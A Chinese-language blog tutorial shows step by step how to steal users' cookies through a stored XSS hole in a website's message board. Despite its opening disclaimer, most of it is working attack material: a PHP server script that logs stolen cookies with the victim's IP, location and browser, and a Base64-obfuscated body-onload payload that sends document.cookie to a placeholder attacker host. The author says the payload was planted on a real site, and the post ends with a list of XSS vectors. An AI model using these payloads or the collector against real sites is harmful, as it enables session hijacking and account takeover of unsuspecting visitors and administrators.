利用存储型XSS跨站漏洞偷取用户Cookie实战


声明 :

严禁读者利用以下介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !


攻击者要偷取Cookie , 就要让他们精心构造的恶意代码在受害者的计算机上运行 , 一般来说 , 是在用户访问一个网页的时候执行一段JavaScript代码 , 这段代码会获取用户在当前页面的Cookie , 然后利用Http请求将这些数据发送到接收者的地址 , 这样就完成了一个Cookie的盗取过程 , 这里 , 要解决的问题有两个 :

  1. 如何能让用户在访问网页的同时下载并执行攻击者的恶意代码
  2. 如何来接受用户发送给我们的Cookie

一般来说 , 解决方案如下 :

  1. 要在一个网站上寻找有用户交互的地方 , 最常见的就是留言版 , 如果恶意攻击者拥有了留言的能力 , 而且网站不能检测出我们的留言的合法性 , 这样就给了恶意攻击者插入恶意代码的机会 , 这样 , 如果恶意攻击者插入的留言可以被管理员看到的话 , 那么管理员的Cookie就极有可能被攻击者拿到 , 或者如果这个留言是公开的 , 任何访客都可以进行浏览 , 那么任何浏览攻击者留言的人 , 他们的Cookie都可以被攻击者恶意代码获取到 , 并发送到攻击者的后台 . 如果这些Cookie是和用户的登陆状态相关联的 , 那么拥有了这些Cookie , 在Cookie有效的时间内 , 恶意攻击者就可以通过在HTTP请求头中添加这些Cookie以达到不使用身份认证也可以获取到授权的效果 . 恶意攻击者一般是要将自己精心构造的留言发送到服务器 , 这次攻击成功与否主要就在于这个精心构造的留言会不会被安全防护措施过滤掉 .
  2. 一旦攻击者的恶意代码成功插入到 , 必须得有一个接收Cookie的地方 , 一般来说攻击者会使用一台云服务器 , 在云服务器上运行一个Web服务器 , 这个Web服务器就是攻击者Cookie发送的地址 , Web服务器在接收到客户端(浏览了具有攻击者跨站漏洞脚本的用户)发送来的Cookie(一般来说就是GET/POST参数)之后 , 对参数进行储存 , 然后攻击者就可以对这些Cookie进行分析和利用

分为三步 :

  1. 搭建用于接收Cookie的Web服务器 , 这里测试的时候使用了笔者购置的一台虚拟主机 , 保证虚拟主机的Web服务正常开启 , 任何接入互联网的用户都可以正常访问以后 , 我们这里需要编写一个接收恶意脚本传递的参数的PHP文件 , 用于接受Cookie并把Cookie保存起来 , 这里我们暂时将Cookie保存在本地的一个文件中 , 以后我们可以将脚本进行优化 , 将Cookie数据保存在数据库中
<?php
 
    /*Config_start*/
    $result_file_name = "cookie.txt"; // 配置结果储存的文本文件
    $ip138_token = ""; // 这里使用到了IP138的查询接口 , 需要在IP138获取账号的Token , 才可以查询到IP的地理位置
    /*Config_end*/
 
    date_default_timezone_set('Asia/Shanghai'); // 设置时区
 
    $time=date("j F, Y, g:i a"); // 获取请求时间
    $ip = getip_out(); // 获取客户端IP
    $location = getLocationOfIP($ip, $ip138_token); // 获取IP所在地理位置
    $cookie = $_GET['c']; // 获取客户端传递的参数c , 也就是Cookie
    $referer=getenv ('HTTP_REFERER'); // 获取客户端来源地址
    $to = $_SERVER['PHP_SELF']; // 获取当前页面地址
    $browser = $_SERVER["HTTP_USER_AGENT"]; // 获取客户端浏览器版本(系统版本)
 
    $fp = fopen($result_file_name, 'a');
 
    fwrite($fp, "Time : ".$time."\n");
    fwrite($fp, "IP : ".$ip."\n");
    fwrite($fp, "Location : ".$location."\n");
    fwrite($fp, "Cookie : ".$cookie."\n");
    fwrite($fp, "From : ".$from."\n");
    fwrite($fp, "To : ".$to."\n");
    fwrite($fp, "Browser : ".$browser."\n");
    fwrite($fp, "------------------------------\n");
 
    fclose($fp);
 
    /* 获取访问者IP */
    function getip_out(){ 
        $ip=false; 
        if(!empty($_SERVER["HTTP_CLIENT_IP"])){ 
            $ip = $_SERVER["HTTP_CLIENT_IP"]; 
        } 
        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { 
            $ips教程 = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']); 
            if ($ip) { array_unshift($ips, $ip); $ip = FALSE; } 
            for ($i = 0; $i < count($ips); $i++) { 
                if (!eregi ("^(10│172.16│192.168).", $ips[$i])) { 
                    $ip = $ips[$i]; 
                    break; 
                } 
            } 
        } 
        return ($ip ? $ip : $_SERVER['REMOTE_ADDR']); 
    }
 
    /* 根据IP获取位置 */
    function getLocationOfIP($ip, $token)
    {
        $request_location_of_ip = "http://api.ip138.com/query/?ip=".$ip."&datatype=jsonp&callback=find&token=".$token; // IP138的查询接口
        $page_content = file_get_contents($request_location_of_ip); // 获取IP138返回的Json数据
        //由于这里数据较短 , 因此简单处理
        $json_content = substr($page_content, 5);
        $json_content = substr($json_content, 0, -1);
        $json = json_decode($json_content);
        $data = $json->{'data'};
        $location = $data[0].$data[1].$data[2].$data[3]; // 这里也可以将国家/省份/城市分开来写
        return $location;
    }
?>

这里我们可以进行测试 :

01-00-35.jpg
01-01-55.jpg

发现的确是可以正常运行的
现在攻击者接收Cookie的服务器已经搭建完成 , 现在我们就需要来模拟攻击者进行的最重要的一步 , 也就是将攻击者自己构造的代码插入被入侵的网站
这里恶意攻击选取了一个具有留言板功能的网站进行测试 :
由于安全问题 , 这里就只进行截图 , 会对网站的地址进行隐藏
这里经过恶意攻击者不懈的努力和测试 , 发现了该网站没有过滤
<body onload=></body>这个标签 , 因此恶意代码就可以插入到onload这里
这里恶意攻击者为了不让自己的恶意代码暴露地特别明显 , 因此对恶意代码进行了一定的加密
恶意攻击者使用了Base64对恶意代码进行了编码 , 这样一般情况下 , 网站的管理员是很难这段代码是恶意代码的
恶意代码的大概逻辑是 :
利用JavaScript动态地向DOM中添加一个IMG标签 , 将这个标签的src属性设置为攻击者接收cookie参数的地址 , 这样浏览器在解析DOM的时候就会去访问攻击者的那个接收Cookie的地址 , 并且把自身的Cookie以参数的形式传递
在JavaScript中 , 要动态添加DOM节点 , 可以利用以下语句 :

document.body.appendChild(document.createElement('img')).setAttribute('src','http://www.xxx.com/cookie.php?c='+document.cookie);

然后攻击者要让这段代码执行 , 而且还要让其足够隐蔽 , 因此这里攻击者要将这段JavaScript代码进行Base64编码 , 然后再利用JavaScript的window.atob()进行Base64解码 , 最后再使用eval()函数进行执行 , 这样的话 , 攻击者最终插入的恶意代码为 :

<body ONLOAD=eval(window.atob("ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbWcnKSkuc2V0QXR0cmlidXRlKCdzcmMnLCdodHRwOi8vd3d3Lnh4eC5jb20vY29va2llLnBocD9jPScrZG9jdW1lbnQuY29va2llKTs="));></body>

然后因为是留言系统 , 这里再写一些留言来掩人耳目

这里添加一些留言...
<body ONLOAD=eval(window.atob("ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbWcnKSkuc2V0QXR0cmlidXRlKCdzcmMnLCdodHRwOi8vd3d3Lnh4eC5jb20vY29va2llLnBocD9jPScrZG9jdW1lbnQuY29va2llKTs="));></body>
01-27-58.jpg
01-29-05.jpg


01-29-47.jpg

留言成功 , 这时 , 攻击者就会查看自己添加的留言中的恶意代码是不是已经插入到了HTML页面中
查看源码 :

01-49-57.jpg

已经成功插入 , 现在攻击者就会去查看自己的服务器上的保存Cookie的文件 , 只要有人查看了自己的留言的话 , 就会有被记录下来 . 然后攻击者就可以利用这些Cookie达到自己的某些不可告人的目的.


XSS跨站脚本汇总(待续) :


<Body onload=YourScript></body>
<Img src='' onerror=YourSrcip/t>
<object data='YourXSSSite')></object>
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,509评论 6 504
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,806评论 3 394
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,875评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,441评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,488评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,365评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,190评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,062评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,500评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,706评论 3 335
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,834评论 1 347
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,559评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,167评论 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,779评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,912评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,958评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,779评论 2 354

推荐阅读更多精彩内容